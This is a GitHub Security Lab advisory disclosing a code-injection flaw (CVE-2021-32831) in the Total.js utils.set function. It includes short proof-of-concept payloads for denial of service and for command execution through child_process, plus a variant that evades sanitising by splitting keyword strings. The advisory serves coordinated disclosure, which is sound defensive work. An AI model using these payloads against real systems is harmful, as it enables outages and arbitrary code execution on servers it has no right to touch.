


[skip to content](#)  
[Back to GitHub.com](#)



[Security Lab](#)  
[Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
  
[Home](#) [Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
July 21, 2021

# GHSL-2021-066: DoS and RCE in totaljs



[GitHub Security Lab](#)

## Coordinated Disclosure Timeline

- 2021-04-08: Report sent to maintainers
- 2021-06-04: Requested maintainers acknowledgment of the report
- 2021-07-01: Re-requested maintainers acknowledgment of the report
- 2021-07-07: Deadline expired without maintainers acknowledgment
- 2021-07-21: Publication as per our disclosure policy

## Product

Total.js

## Tested Version

Latest version available on npm 3.4.8.

## Details

Calling the `utils.set` function with user-controlled values leads to code-injection.

### Impact

An attacker can execute arbitrary javascript code in the context of node.

### Resources

*Proof of concept: Denial of service*

The PoC causes a DoS by going into an infinite loop.

```
var utils = require('total.js/utils');
utils.set({}, 'a';Function(`while(1){}()`)());

// Alternatively if "Function" is sanitized (similar to how "eval is currently sanitized), then the below will still work:
utils.set({}, 'f[`${__}` + `proto__`][`cons` + `tructor`][`cons` + `tructor`](`while(1){}()`)());
```

*Proof of concept: Code execution*

This PoC creates a file GHSL inside the current working directory.

```
var utils = require('total.js/utils');
utils.set({}, 'a';Function(`require("child_process")\\x2eexecSync("touch GHSL")`())());
```

## CVE

- CVE-2021-32831

## Resources

- [Commit](#)

## Credit

This issue was discovered by [@erik-krogh](#) (Erik Krogh Kristensen).

## Contact

You can contact the GHSL team at [securitylab@github.com](mailto:securitylab@github.com), please include GHSL-2021-066 in any communication regarding this issue.

## GitHub

### Product

- [Features](#)
- [Security](#)
- [Enterprise](#)
- [Customer stories](#)
- [Pricing](#)
- [Resources](#)

### Platform

- [Developer API](#)
- [Partners](#)
- [Atom](#)
- [Electron](#)
- [GitHub Desktop](#)

### Support

- [Docs](#)
- [Community Forum](#)
- [Professional Services](#)

- [Status](#)
- [Contact GitHub](#)

## Company

- [About](#)
- [Blog](#)
- [Careers](#)
- [Press](#)
- [Shop](#)

- 
- 
- 
- 
- 

- © 2021 GitHub, Inc.
- [Terms](#)
- [Privacy](#)
- [Cookie settings](#)